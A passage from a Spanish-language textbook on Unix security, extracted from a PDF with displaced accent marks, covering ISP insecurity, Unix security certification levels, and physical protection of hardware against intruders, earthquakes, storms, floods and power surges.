- 33. 1.7. REDES ‘NORMALES’ 15 nuestra imagen atacando nuestras p´ginas web? ¿y si le interesa leer nuestros e–mails? No hace a falta que se trate de una multinacional poderosa dispuesta a contratar piratas profesionales: es suficiente con que el administrador de la red de nuestra competencia tenga unas nociones sobre seguridad. . . y bastantes ganas de fastidiarnos. 1.7.3 ISPs Las empresas dedicadas a ofrecer acceso a Internet a trav´s de la l´ e ınea telef´nica, as´ como otros o ı servicios de red (principalmente, hospedaje de p´ginas web) son los conocidos ISPs (Internet Service a Providers); conocidos tanto por sus servicios como por su inseguridad. Y es que realmente no es f´cil compaginar una amplia oferta de servicios con una buena seguridad: cualquier administrador a de m´quinas Unix sabe que cada puerto abierto en su sistema es una potencial fuente de problemas a para el mismo, por lo que conviene reducir al m´ ınimo su n´mero. Si los ISPs viven justamente u de permitir accesos – a Internet o a sus propios servidores – parece obvio que no podr´n aplicar a estrictas pol´ ıticas de seguridad en las m´quinas: mientras que por ejemplo en una empresa el admin- a istrador puede obligar – relativamente – a sus usuarios a utilizar protocolos cifrados, si un ISP no permite acceso ftp a los clientes que deseen colgar sus p´ginas web y les obliga a usar un protocolo a de transferencia de archivos que aplique criptograf´ es muy probable que muchos de esos clientes ıa, abandonen y se vayan a la competencia: es m´s f´cil utilizar el ftp cl´sico que instalar software a a a adicional para poder actualizar una p´gina web. a Imaginemos un proveedor que ofrece conexi´n a Internet a sus clientes; sin duda esos clientes o querr´n conectar a p´ginas web, hacer irc, transferir archivos o utilizar telnet. Nada prob- a a lem´tico a primera vista: las conexiones se realizan hacia el exterior de nuestra red, no hacia el a interior. Pero adem´s esos clientes querr´n utilizar icq o NetMeeting, querr´n instalar servidores a a a de todo tipo en sus m´quinas para que sus amigos los utilicen – desde servicios web hasta nfs –, a con lo que empiezan los primeros problemas. Y no nos quedamos aqu´ seguramente quieren poder ı: descargar su correo pop3 desde cualquier lugar, no s´lo desde el rango de direcciones del provee- o dor (por supuesto, sin oir hablar de cifrado en la conexi´n) y tambi´n les hace gracia un espacio o e para publicar sus p´ginas web de forma permanente. . . y mucho mejor para ellos si se les permite a programar e instalar sus propios cgis en dichas p´ginas; aqu´ ya no hay opci´n: o simplemente se a ı o les niega esta ultima posibilidad, o si se les permite y deseamos un entorno medianamente seguro ´ hemos de dedicar recursos – y no pocos – a verificar la seguridad de esos programas. Hagamos lo que hagamos, tenemos problemas: si no permitimos que los usuarios usen sus propios cgis, y otro proveedor s´ que lo permite, seguramente cambiar´n de ISP. . . si revisamos la seguridad, tampoco les ı a va a hacer gracia tener que modificar su programa una y otra vez hasta que lo consideremos seguro; a fin de cuentas, estar´n modific´ndolo para conseguir algo que probablemente ni siquiera entiendan. a a Sigamos a˜adiendo problemas: puestos a pedir, los usuarios tambi´n pueden pedir acceso a bases n e de datos en sus p´ginas, por ejemplo v´ php3; ya nos afectan los problemas que pueda tener este a ıa tipo de software. Incluso pueden querer instalar sistemas completos de comercio electr´nico, sis- o temas capaces de convertir nuestra red en un aut´ntico agujero. Es m´s, si permitimos hospedaje e a de m´quinas es muy probable que el cliente que usa este servicio quiera acceder remotamente v´ a ıa telnet – o peor, rlogin–, incluso para tareas de administraci´n; ni oir hablar de cosas como ssh o o SSL Telnet: a fin de cuentas, hacen lo mismo y son m´s complicados que un sencillo telnet. . . a La seguridad de los ISPs sufre adem´s el problema cl´sico de la seguridad en cualquier entorno, a a pero quiz´s de una forma mucho m´s grave: estamos trabajando con algo intangible, con algo muy a a dif´ de ver. Si se realiza una inversi´n de tiempo o dinero para adquirir equipos nuevos, la mejora ıcil o se nota inmediatamente; si esa inversi´n se realiza para incrementar la seguridad, quiz´s las mejoras o a obtenidas nunca las pueda notar un usuario. Y si las nota, con toda probabilidad es peor: es porque han fallado. La mayor parte de los potenciales clientes de un ISP preferir´ una conexi´n un poco a o m´s r´pida frente a una conexi´n o unos servicios m´s seguros. a a o a Con situaciones tan sencillas y comunes como las anteriores podemos hacernos una idea de la potencial inseguridad de los ISPs; se trata de problemas reales, no meramente te´ricos: en am- o bientes underground no es raro encontrar piratas con casi todas – o con todas – las claves de los
- 34. 16 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS clientes de un proveedor (personalmente he conocido varios casos). S´lo tenemos un punto a nuestro o favor, si se puede considerar as´ hace un par de a˜os esas claves eran algo m´s o menos valioso ı: n a para un pirata, ya que con ellas consegu´ un acceso a Internet gratuito y – m´s importante – si ıa a dar ninguno de sus datos. Hoy en d´ y debido a empresas que ofrecen ese tipo de acceso – por ıa, ejemplo como Alehop, con unas contrase˜as gen´ricas y gratuitas para todo el mundo –, las claves n e de los clientes de un ISP no son algo tan codiciado. 1.8 ¿Seguridad en Unix? En la d´cada de los ochenta para mucha gente el concepto de seguridad era algo inimaginable en e el entorno Unix: la facilidad con que un experto pod´ acceder a un sistema, burlar todos sus ıa mecanismos de protecci´n y conseguir el m´ximo nivel de privilegio era algo de sobra conocido por o a todos, por lo que nadie pod´ pensar en un sistema Unix seguro. ıa Afortunadamente, los tiempos han cambiado mucho desde entonces. Aunque en un principio y seg´n uno de sus creadores, Unix no se dise˜´ para ser seguro ([Rit86]), a finales de los 80 se con- u no virti´ en el primer sistema operativo en alcanzar niveles de seguridad quasi militares ([HJAW88], o [Ser91]. . . ). En la actualidad se puede considerar el sistema operativo de prop´sito general m´s o a fiable del mercado; desde los clones habituales (Solaris, HP-UX, IRIX. . . ) hasta los ‘Trusted Unix’ (de los que hablaremos a continuaci´n), pasando por los sistemas gratuitos (Linux, FreeBSD. . . ), o cualquier entorno Unix puede ofrecer los mecanismos de seguridad suficientes para satisfacer las necesidades de la mayor´ de instituciones. Los Unices habituales, como Solaris o Linux, son bas- ıa tante inseguros tal y como se instalan por defecto (out-of-the-box), como veremos a la hora de hablar de la seguridad l´gica; esto significa que requieren de una m´ o ınima puesta a punto, en cuan- to a seguridad se refiere, antes de ponerlos a trabajar con unas m´ ınimas garant´ de fiabilidad. ıas Una vez realizada esta puesta a punto suelen tener una seguridad aceptable en redes de prop´sito o general. El problema es que en muchas ocasiones se pone a trabajar a Unix tal y como se instala por defecto, lo que convierte a cualquier sistema operativo, Unix o no, en un aut´ntico agujero en e cuanto a seguridad se refiere: cuentas sin password o con passwords por defecto, servicios abiertos, sistemas de ficheros susceptibles de ser compartidos. . . Dentro de la familia Unix existen una serie de sistemas denominados ‘Unix seguros’ o ‘Unix fiables’ (Trusted Unix); se trata de sistemas con excelentes sistemas de control, evaluados por la National Security Agency (NSA) estadounidense y clasificados en niveles seguros (B o A) seg´n [B+ 85]. Entre u estos Unix seguros podemos encontrar AT&T System V/MLS y OSF/1 (B1), Trusted Xenix8 (B2) y XTS-300 STOP 4.1 (B3), considerados los sistemas operativos m´s seguros del mundo (siempre a seg´n la NSA). La gran mayor´ de Unices (Solaris, AIX. . . ) est´n clasificados como C2, y algunos u ıa a otros, como Linux, se consideran sistemas C2 de facto: al no tener una empresa que pague el proceso de evaluaci´n de la NSA no est´n catalogados, aunque puedan implementar todos los mecanismos o a de los sistemas C2. A la vista de lo comentado en este punto, parece claro que Unix ha dejado de ser ese sistema arcaico e inseguro de sus primeros tiempos para convertirse en el entorno de trabajo m´s fiable a dentro de la gama de sistemas operativos de prop´sito general; sin embargo, por alguna extra˜a o n raz´n, mucha gente tiende a considerar todav´ a los equipos Unix como amenazas en la red, espe- o ıa cialmente a los clones gratuitos como Linux o FreeBSD que habitualmente se ejecutan en PCs; el hecho de que sean gratuitos no implica en ning´n momento que sean inestables, y mucho menos, in- u seguros: empresas tan importantes como Yahoo! (www.yahoo.com) o Citro¨n (www.citroen.com), e o el propio servicio postal de Estados Unidos utilizan estos entornos como servidores web o como firewall en sus redes. No obstante, las pol´ıticas de marketing de ciertas empresas desarrolladoras tienden a popularizar (y lamentablemente lo consiguen) ideas err´neas sobre la seguridad en Unix, o lo que motiva que algunas organizaciones intenten buscar sistemas alternativos, casi siempre susti- tuyendo m´quinas Unix por entornos Windows NT o Windows 9x. No creo que haga falta hacer a comentarios sobre la seguridad de estos sistemas, por lo que no entraremos en detalles sobre ella; 8 Este sistema, de la compa˜´ Trusted Information Systems, Inc, obviamente no tiene nada que ver con el antiguo nıa Microsoft Xenix, de Microsoft Corporation
- 35. 1.8. ¿SEGURIDAD EN UNIX? 17 si alguien est´ interesado, o duda de la capacidad de Unix frente a estos entornos, puede consultar a alguna de las comparativas o de los art´ ıculos publicados sobre el tema por universidades o por prestigiosos nombres dentro del mundo de la seguridad inform´tica, o simplemente interesarse por a el tipo de sistemas utilizados en centros de investigaci´n como AT&T y la NASA, o en organismos o de seguridad como el FBI y la NSA: Unix, por supuesto.
- 36. 18 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
- 37. Parte I Seguridad del entorno de operaciones
- 39. Cap´ ıtulo 2 Seguridad f´ ısica de los sistemas 2.1 Introducci´n o Seg´n [B+ 88], la seguridad f´ u ısica de los sistemas inform´ticos consiste en la aplicaci´n de barreras a o f´ ısicas y procedimientos de control como medidas de prevenci´n y contramedidas contra las ame- o nazas a los recursos y la informaci´n confidencial. M´s claramente, y particularizando para el caso o a de equipos Unix y sus centros de operaci´n, por ‘seguridad f´ o ısica’ podemos entender todas aquellas mecanismos – generalmente de prevenci´n y detecci´n – destinados a proteger f´ o o ısicamente cualquier recurso del sistema; estos recursos son desde un simple teclado hasta una cinta de backup con toda la informaci´n que hay en el sistema, pasando por la propia cpu de la m´quina. o a Desgraciadamente, la seguridad f´ ısica es un aspecto olvidado con demasiada frecuencia a la hora de hablar de seguridad inform´tica en general; en muchas organizaciones se suelen tomar medidas para a prevenir o detectar accesos no autorizados o negaciones de servicio, pero rara vez para prevenir la acci´n de un atacante que intenta acceder f´ o ısicamente a la sala de operaciones o al lugar donde se depositan las impresiones del sistema. Esto motiva que en determinadas situaciones un atacante se decline por aprovechar vulnerabilidades f´ ısicas en lugar de l´gicas, ya que posiblemente le sea o m´s f´cil robar una cinta con una imagen completa del sistema que intentar acceder a ´l mediante a a e fallos en el software. Hemos de ser conscientes de que la seguridad f´ ısica es demasiado importante como para ignorarla: un ladr´n que roba un ordenador para venderlo, un incendio o un pirata que o accede sin problemas a la sala de operaciones nos pueden hacer mucho m´s da˜o que un intruso a n que intenta conectar remotamente con una m´quina no autorizada; no importa que utilicemos los a m´s avanzados medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una a pol´ıtica de firewalling muy restrictiva: si no tenemos en cuenta factores f´ ısicos, estos esfuerzos para proteger nuestra informaci´n no van a servir de nada. Adem´s, en el caso de organismos con requer- o a imientos de seguridad medios, unas medidas de seguridad f´ ısicas ejercen un efecto disuasorio sobre la mayor´ de piratas: como casi todos los atacantes de los equipos de estos entornos son casuales ıa (esto es, no tienen inter´s espec´ e ıfico sobre nuestros equipos, sino sobre cualquier equipo), si notan a trav´s de medidas f´ e ısicas que nuestra organizaci´n est´ preocupada por la seguridad probablemente o a abandonar´n el ataque para lanzarlo contra otra red menos protegida. a Aunque como ya dijimos en la introducci´n este proyecto no puede centrarse en el dise˜o de edifi- o n cios resistentes a un terremoto o en la instalaci´n de alarmas electr´nicas, s´ que se van a intentar o o ı comentar ciertas medidas de prevenci´n y detecci´n que se han de tener en cuenta a la hora de o o definir mecanismos y pol´ ıticas para la seguridad de nuestros equipos. Pero hemos de recordar que cada sitio es diferente, y por tanto tambi´n lo son sus necesidades de seguridad; de esta forma, no se e pueden dar recomendaciones espec´ ıficas sino pautas generales a tener en cuenta, que pueden variar desde el simple sentido com´n (como es el cerrar con llave la sala de operaciones cuando salimos u de ella) hasta medidas mucho m´s complejas, como la prevenci´n de radiaciones electromagn´ticas a o e de los equipos o la utilizaci´n de degaussers. En entornos habituales suele ser suficiente con un o poco de sentido com´n para conseguir una m´ u ınima seguridad f´ ısica; de cualquier forma, en cada instituci´n se ha de analizar el valor de lo que se quiere proteger y la probabilidad de las amenazas o potenciales, para en funci´n de los resultados obtenidos dise˜ar un plan de seguridad adecuado. o n
- 40. 22 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS Por ejemplo, en una empresa ubicada en Valencia quiz´s parezca absurdo hablar de la prevenci´n a o ante terremotos (por ser esta un ´rea de bajo riesgo), pero no suceder´ lo mismo en una universidad a a situada en una zona s´ ısmicamente activa; de la misma forma, en entornos de I+D es absurdo hablar de la prevenci´n ante un ataque nuclear, pero en sistemas militares esta amenaza se ha de tener en o cuenta1 . 2.2 Protecci´n del hardware o El hardware es frecuentemente el elemento m´s caro de todo sistema inform´tico2 . Por tanto, las a a medidas encaminadas a asegurar su integridad son una parte importante de la seguridad f´ ısica de cualquier organizaci´n, especialmente en las dedicadas a I+D: universidades, centros de in- o vestigaci´n, institutos tecnol´gicos. . . suelen poseer entre sus equipos m´quinas muy caras, desde o o a servidores con una gran potencia de c´lculo hasta routers de ultima tecnolog´ pasando por mod- a ´ ıa, ernos sistemas de transmisi´n de datos como la fibra ´ptica. o o Son muchas las amenazas al hardware de una instalaci´n inform´tica; aqu´ se van a presentar o a ı algunas de ellas, sus posibles efectos y algunas soluciones, si no para evitar los problemas s´ al ı menos para minimizar sus efectos. 2.2.1 Acceso f´ ısico La posibilidad de acceder f´ısicamente a una m´quina Unix – en general, a cualquier sistema oper- a ativo – hace in´tiles casi todas las medidas de seguridad que hayamos aplicado sobre ella: hemos u de pensar que si un atacante puede llegar con total libertad hasta una estaci´n puede por ejemplo o abrir la CPU y llevarse un disco duro; sin necesidad de privilegios en el sistema, sin importar la robustez de nuestros cortafuegos, sin nisiquiera una clave de usuario, el atacante podr´ seguramente a modificar la informaci´n almacenada, destruirla o simplemente leerla. Incluso sin llegar al extremo o de desmontar la m´quina, que quiz´s resulte algo exagerado en entornos cl´sicos donde hay cierta a a a vigilancia, como un laboratorio o una sala de inform´tica, la persona que accede al equipo puede a pararlo o arrancar una versi´n diferente del sistema operativo sin llamar mucho la atenci´n. Si por o o ejemplo alguien accede a un laboratorio con m´quinas Linux, seguramente le resultar´ f´cil utilizar a a a un disco de arranque, montar los discos duros de la m´quina y extraer de ellos la informaci´n de- a o seada; incluso es posible que utilice un ramdisk con ciertas utilidades que constituyan una amenaza para otros equipos, como nukes o sniffers. Visto esto, parece claro que cierta seguridad f´ ısica es necesaria para garantizar la seguridad global de la red y los sistemas conectados a ella; evidentemente el nivel de seguridad f´ ısica depende comple- tamente del entorno donde se ubiquen los puntos a proteger (no es necesario hablar s´lo de equipos o Unix, sino de cualquier elemento f´ ısico que se pueda utilizar para amenazar la seguridad, como una toma de red apartada en cualquier rinc´n de un edificio de nuestra organizaci´n). Mientras o o que parte de los equipos estar´n bien protegidos, por ejemplo los servidores de un departamento a o las m´quinas de los despachos, otros muchos estar´n en lugares de acceso semip´blico, como a a u laboratorios de pr´cticas; es justamente sobre estos ultimos sobre los que debemos extremar las a ´ precauciones, ya que lo m´s f´cil y discreto para un atacante es acceder a uno de estos equipos y, a a en segundos, lanzar un ataque completo sobre la red. Prevenci´n o ¿C´mo prevenir un acceso f´ o ısico no autorizado a un determinado punto? Hay soluciones para to- dos los gustos, y tambi´n de todos los precios: desde analizadores de retina hasta videoc´maras, e a pasando por tarjetas inteligentes o control de las llaves que abren determinada puerta. Todos los modelos de autenticaci´n de usuarios (cap´ o ıtulo 8) son aplicables, aparte de para controlar el acceso l´gico a los sistemas, para controlar el acceso f´ o ısico; de todos ellos, quiz´s los m´s adecuados a la a a seguridad f´ısica sean los biom´tricos y los basados en algo pose´ e ıdo; aunque como comentaremos 1 Al menos en teor´ ya que nadie sabe con certeza lo que sucede en organismos de defensa, excepto ellos mismos. ıa, 2 Como dijimos, el m´s caro, pero no el m´s dif´ de recuperar. a a ıcil
- 41. ´ 2.2. PROTECCION DEL HARDWARE 23 m´s tarde suelen resultar algo caros para utilizarlos masivamente en entornos de seguridad media. a Pero no hay que irse a sistemas tan complejos para prevenir accesos f´ ısicos no autorizados; nor- mas tan elementales como cerrar las puertas con llave al salir de un laboratorio o un despacho o bloquear las tomas de red que no se suelan utilizar y que est´n situadas en lugares apartados e son en ocasiones m´s que suficientes para prevenir ataques. Tambi´n basta el sentido com´n para a e u darse cuenta de que el cableado de red es un elemento importante para la seguridad, por lo que es recomendable apartarlo del acceso directo; por desgracia, en muchas organizaciones podemos ver excelentes ejemplos de lo que no hay que hacer en este sentido: cualquiera que pasee por entornos m´s o menos amplios (el campus de una universidad, por ejemplo) seguramente podr´ ver – o pin- a a char, o cortar. . . – cables descolgados al alcance de todo el mundo, especialmente durante el verano, ´poca que se suele aprovechar para hacer obras. e Todos hemos visto pel´ ıculas en las que se mostraba un estricto control de acceso a instalaciones militares mediante tarjetas inteligentes, analizadores de retina o verificadores de la geometr´ de la ıa mano; aunque algunos de estos m´todos a´n suenen a ciencia ficci´n y sean demasiado caros para e u o la mayor parte de entornos (recordemos que si el sistema de protecci´n es m´s caro que lo que se o a quiere proteger tenemos un grave error en nuestros planes de seguridad), otros se pueden aplicar, y se aplican, en muchas organizaciones. Concretamente, el uso de lectores de tarjetas para poder acceder a ciertas dependencias es algo muy a la orden del d´ la idea es sencilla: alguien pasa una ıa; tarjeta por el lector, que conecta con un sistema – por ejemplo un ordenador – en el que existe una base de datos con informaci´n de los usuarios y los recintos a los que se le permite el acceso. Si la o tarjeta pertenece a un usuario capacitado para abrir la puerta, ´sta se abre, y en caso contrario se e registra el intento y se niega el acceso. Aunque este m´todo quiz´s resulte algo caro para extenderlo e a a todos y cada uno de los puntos a proteger en una organizaci´n, no ser´ tan descabellado instalar o ıa peque˜os lectores de c´digos de barras conectados a una m´quina Linux en las puertas de muchas n o a a ´reas, especialmente en las que se maneja informaci´n m´s o menos sensible. Estos lectores podr´ o a ıan leer una tarjeta que todos los miembros de la organizaci´n poseer´ o ıan, conectar con la base de datos de usuarios, y autorizar o denegar la apertura de la puerta. Se tratar´ de un sistema sencillo ıa de implementar, no muy caro, y que cubre de sobra las necesidades de seguridad en la mayor´ ıa de entornos: incluso se podr´ abaratar si en lugar de utilizar un mecanismo para abrir y cerrar ıa puertas el sistema se limitara a informar al administrador del ´rea o a un guardia de seguridad a mediante un mensaje en pantalla o una luz encendida: de esta forma los unicos gastos ser´ los ´ ıan correspondientes a los lectores de c´digos de barras, ya que como equipo con la base de datos se o puede utilizar una m´quina vieja o un servidor de prop´sito general. a o Detecci´n o Cuando la prevenci´n es dif´ por cualquier motivo (t´cnico, econ´mico, humano. . . ) es deseable o ıcil e o que un potencial ataque sea detectado cuanto antes, para minimizar as´ sus efectos. Aunque en la ı detecci´n de problemas, generalmente accesos f´ o ısicos no autorizados, intervienen medios t´cnicos, e como c´maras de vigilancia de circuito cerrado o alarmas, en entornos m´s normales el esfuerzo en a a detectar estas amenazas se ha de centrar en las personas que utilizan los sistemas y en las que sin utilizarlos est´n relacionadas de cierta forma con ellos; sucede lo mismo que con la seguridad l´gica: a o se ha de ver toda la protecci´n como una cadena que falla si falla su eslab´n m´s d´bil. o o a e Es importante concienciar a todos de su papel en la pol´ ıtica de seguridad del entorno; si por ejemplo un usuario autorizado detecta presencia de alguien de quien sospecha que no tiene autor- izaci´n para estar en una determinada estancia debe avisar inmediatamente al administrador o al o responsable de los equipos, que a su vez puede avisar al servicio de seguridad si es necesario. No obstante, utilizar este servicio debe ser s´lamente un ultimo recurso: generalmente en la mayor´ o ´ ıa de entornos no estamos tratando con terroristas, sino por fortuna con elementos mucho menos peligrosos. Si cada vez que se sospecha de alguien se avisa al servicio de seguridad esto puede repercutir en el ambiente de trabajo de los usuarios autorizados estableciendo cierta presi´n que o no es en absoluto recomendable; un simple ‘¿puedo ayudarte en algo?’ suele ser m´s efectivo que a un guardia solicitando una identificaci´n formal. Esto es especialmente recomendable en lugares o de acceso restringido, como laboratorios de investigaci´n o centros de c´lculo, donde los usuarios o a
- 42. 24 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS habituales suelen conocerse entre ellos y es f´cil detectar personas ajenas al entorno. a 2.2.2 Desastres naturales En el anterior punto hemos hecho referencia a accesos f´ ısicos no autorizados a zonas o a elementos que pueden comprometer la seguridad de los equipos o de toda la red; sin embargo, no son estas las unicas amenazas relacionadas con la seguridad f´ ´ ısica. Un problema que no suele ser tan habitual, pero que en caso de producirse puede acarrear grav´ ısimas consecuencias, es el derivado de los desastres naturales y su (falta de) prevenci´n. o Terremotos Los terremotos son el desastre natural menos probable en la mayor´ de organismos ubicados en ıa Espa˜a, simplemente por su localizaci´n geogr´fica: no nos encontramos en una zona donde se n o a suelan producir temblores de intensidad considerable; incluso en zonas del sur de Espa˜a, como n Almer´ donde la probabilidad de un temblor es m´s elevada, los terremotos no suelen alcanzan la ıa, a magnitud necesaria para causar da˜os en los equipos. Por tanto, no se suelen tomar medidas serias n contra los movimientos s´ısmicos, ya que la probabilidad de que sucedan es tan baja que no merece la pena invertir dinero para minimizar sus efectos. De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para la mayor parte de organizaciones en Espa˜a (evidentemente ser´ igual de caras en zonas como Los n ıan ´ Angeles, pero all´ el coste estar´ justificado por la alta probabilidad de que se produzcan movimien- ı ıa tos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevenci´n; por ejemplo, o es muy recomendable no situar nunca equipos delicados en superficies muy elevadas (aunque tam- poco es bueno situarlos a ras de suelo, como veremos al hablar de inundaciones). Si lo hacemos, un peque˜o temblor puede tirar desde una altura considerable un complejo hardware, lo que con n toda probabilidad lo inutilizar´; puede incluso ser conveniente (y barato) utilizar fijaciones para los a elementos m´s cr´ a ıticos, como las CPUs, los monitores o los routers. De la misma forma, tampoco es recomendable situar objetos pesados en superficies altas cercanas a los equipos, ya que si lo que cae son esos objetos tambi´n da˜ar´n el hardware. e n a Para evitar males mayores ante un terremoto, tambi´n es muy importante no situar equipos cerca e de las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la p´rdida de datos o e hardware pierde importancia frente a los posibles accidentes – incluso mortales – que puede causar una pieza voluminosa a las personas a las que les cae encima. Adem´s, situando los equipos alejados a de las ventanas estamos dificultando las acciones de un potencial ladr´n que se descuelgue por la o fachada hasta las ventanas, ya que si el equipo estuviera cerca no tendr´ m´s que alargar el brazo ıa a para llev´rselo. a Quiz´s hablar de terremotos en un trabajo dedicado a sistemas ‘normales’ especialmente centr´ndo- a a nos en lugares con escasa actividad s´ ısmica – como es Espa˜a y m´s concretamente la Comunidad n a Valenciana – pueda resultar incluso gracioso, o cuanto menos exagerado. No obstante, no debemos entender por terremotos unicamente a los grandes desastres que derrumban edificios y destrozan ´ v´ de comunicaci´n; quiz´s ser´ mas apropiado hablar incluso de vibraciones, desde las m´s ıas o a ıa a grandes (los terremotos) hasta las m´s peque˜as (un simple motor cercano a los equipos). Las vibra- a n ciones, incluso las m´s imperceptibles, pueden da˜ar seriamente cualquier elemento electr´nico de a n o nuestras m´quinas, especialmente si se trata de vibraciones cont´ a ınuas: los primeros efectos pueden ser problemas con los cabezales de los discos duros o con los circuitos integrados que se da˜an en n las placas. Para hacer frente a peque˜as vibraciones podemos utilizar plataformas de goma donde n situar a los equipos, de forma que la plataforma absorba la mayor parte de los movimientos; in- cluso sin llegar a esto, una regla com´n es evitar que entren en contacto equipos que poseen una u electr´nica delicada con hardware m´s mec´nico, como las impresoras: estos dispositivos no paran o a a de generar vibraciones cuando est´n en funcionamiento, por lo que situar una peque˜a impresora a n encima de la CPU de una m´quina es una idea nefasta. Como dicen algunos expertos en seguridad a ([GS96]), el espacio en la sala de operaciones es un problema sin importancia comparado con las consecuencias de fallos en un disco duro o en la placa base de un ordenador.
- 43. ´ 2.2. PROTECCION DEL HARDWARE 25 Tormentas el´ctricas e Las tormentas con aparato el´ctrico, especialmente frecuentes en verano (cuando mucho personal e se encuentra de vacaciones, lo que las hace m´s peligrosas) generan subidas s´bitas de tensi´n in- a u o finitamente superiores a las que pueda generar un problema en la red el´ctrica, como veremos a e continuaci´n. Si cae un rayo sobre la estructura met´lica del edificio donde est´n situados nue- o a a stros equipos es casi seguro que podemos ir pensando en comprar otros nuevos; sin llegar a ser tan dram´ticos, la ca´ de un rayo en un lugar cercano puede inducir un campo magn´tico lo a ıda e suficientemente intenso como para destruir hardware incluso protegido contra voltajes elevados. Sin embargo, las tormentas poseen un lado positivo: son predecibles con m´s o menos exacti- a tud, lo que permite a un administrador parar sus m´quinas y desconectarlas de la l´ a ınea el´ctrica3 . e Entonces, ¿cu´l es el problema? Aparte de las propias tormentas, el problema son los responsables a de los equipos: la ca´ de un rayo es algo poco probable – pero no imposible – en una gran ciudad ıda donde existen artilugios destinados justamente a atraer rayos de una forma controlada; tanto es as´ ı que mucha gente ni siquiera ha visto caer cerca un rayo, por lo que directamente tiende a asumir que eso no le va a suceder nunca, y menos a sus equipos. Por tanto, muy pocos administradores se molestan en parar m´quinas y desconectarlas ante una tormenta; si el fen´meno sucede durante a o las horas de trabajo y la tormenta es fuerte, quiz´s s´ que lo hace, pero si sucede un s´bado por la a ı a noche nadie va a ir a la sala de operaciones a proteger a los equipos, y nadie antes se habr´ tomado a la molestia de protegerlos por una simple previsi´n meteorol´gica. Si a esto a˜adimos lo que antes o o n hemos comentado, que las tormentas se producen con m´s frecuencia en pleno verano, cuando casi a toda la plantilla est´ de vacaciones y s´lo hay un par de personas de guardia, tenemos el caldo de a o cultivo ideal para que una amenaza que a priori no es muy grave se convierta en el final de algunos de nuestros equipos. Conclusi´n: todos hemos de tomar m´s en serio a la Naturaleza cuando nos o a avisa con un par de truenos. . . Otra medida de protecci´n contra las tormentas el´ctricas hace referencia a la ubicaci´n de los o e o medios magn´ticos, especialmente las copias de seguridad; aunque hablaremos con m´s detalle de e a la protecci´n de los backups en el punto 2.3.2, de momento podemos adelantar que se han de al- o macenar lo m´s alejados posible de la estructura met´lica de los edificios. Un rayo en el propio a a edificio, o en un lugar cercano, puede inducir un campo electromagn´tico lo suficientemente grande e como para borrar de golpe todas nuestras cintas o discos, lo que a˜ade a los problemas por da˜os n n en el hardware la p´rdida de toda la informaci´n de nuestros sistemas. e o Inundaciones y humedad Cierto grado de humedad es necesario para un correcto funcionamiento de nuestras m´quinas: en a ambientes extremadamente secos el nivel de electricidad est´tica es elevado, lo que, como veremos a m´s tarde, puede transformar un peque˜o contacto entre una persona y un circuito, o entre difer- a n entes componentes de una m´quina, en un da˜o irreparable al hardware y a la informaci´n. No a n o obstante, niveles de humedad elevados son perjudiciales para los equipos porque pueden producir condensaci´n en los circuitos integrados, lo que origina cortocircuitos que evidentemente tienen o efectos negativos sobre cualquier elemento electr´nico de una m´quina. o a Controlar el nivel de humedad en los entornos habituales es algo innecesario, ya que por nor- ma nadie ubica estaciones en los lugares m´s h´medos o que presenten situaciones extremas; no a u obstante, ciertos equipos son especialmente sensibles a la humedad, por lo que es conveniente con- sultar los manuales de todos aquellos de los que tengamos dudas. Quiz´s sea necesario utilizar a alarmas que se activan al detectar condiciones de muy poca o demasiada humedad, especialmente en sistemas de alta disponibilidad o de altas prestaciones, donde un fallo en un componente puede ser crucial. Cuando ya no se habla de una humedad m´s o menos elevada sino de completas inundaciones, a los problemas generados son mucho mayores. Casi cualquier medio (una m´quina, una cinta, un a router. . . ) que entre en contacto con el agua queda autom´ticamente inutilizado, bien por el propio a 3 Al contrario de lo que mucha gente piensa, no basta s´lo con apagar un sistema para que se encuentre a salvo. o
- 44. 26 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS l´ ıquido o bien por los cortocircuitos que genera en los sistemas electr´nicos. o Evidentemente, contra las inundaciones las medidas m´s efectivas son las de prevenci´n (frente a o a las de detecci´n); podemos utilizar detectores de agua en los suelos o falsos suelos de las salas o de operaciones, y apagar autom´ticamente los sistemas en caso de que se activen. Tras apagar a los sistemas podemos tener tambi´n instalado un sistema autom´tico que corte la corriente: algo e a muy com´n es intentar sacar los equipos – previamente apagados o no – de una sala que se est´ u a empezando a inundar; esto, que a primera vista parece lo l´gico, es el mayor error que se puede o cometer si no hemos desconectado completamente el sistema el´ctrico, ya que la mezcla de corri- e ente y agua puede causar incluso la muerte a quien intente salvar equipos. Por muy caro que sea el hardware o por muy valiosa que sea la informaci´n a proteger, nunca ser´n magnitudes comparables o a a lo que supone la p´rdida de vidas humanas. Otro error com´n relacionado con los detectores de e u agua es situar a los mismos a un nivel superior que a los propios equipos a salvaguardar (¡incluso en el techo, junto a los detectores de humo!); evidentemente, cuando en estos casos el agua llega al detector poco se puede hacer ya por las m´quinas o la informaci´n que contienen. a o Medidas de protecci´n menos sofisticadas pueden ser la instalaci´n de un falso suelo por enci- o o ma del suelo real, o simplemente tener la precauci´n de situar a los equipos con una cierta elevaci´n o o respecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya hemos comentado al hablar de terremotos y vibraciones. 2.2.3 Desastres del entorno Electricidad Quiz´s los problemas derivados del entorno de trabajo m´s frecuentes son los relacionados con el a a sistema el´ctrico que alimenta nuestros equipos; cortocircuitos, picos de tensi´n, cortes de flujo. . . a e o diario amenazan la integridad tanto de nuestro hardware como de los datos que almacena o que circulan por ´l. e El problema menos com´n en las instalaciones modernas son las subidas de tensi´n, conocidas u o como ‘picos’ porque generalmente duran muy poco: durante unas fracciones de segundo el voltaje que recibe un equipo sube hasta sobrepasar el l´ımite aceptable que dicho equipo soporta. Lo normal es que estos picos apenas afecten al hardware o a los datos gracias a que en la mayor´ de equipos ıa hay instalados fusibles, elementos que se funden ante una subida de tensi´n y dejan de conducir la o corriente, provocando que la m´quina permanezca apagada. Disponga o no de fusibles el equipo a a proteger (lo normal es que s´ los tenga) una medida efectiva y barata es utilizar tomas de tierra para ı asegurar a´n m´s la integridad; estos mecanismos evitan los problemas de sobretensi´n desviando u a o el exceso de corriente 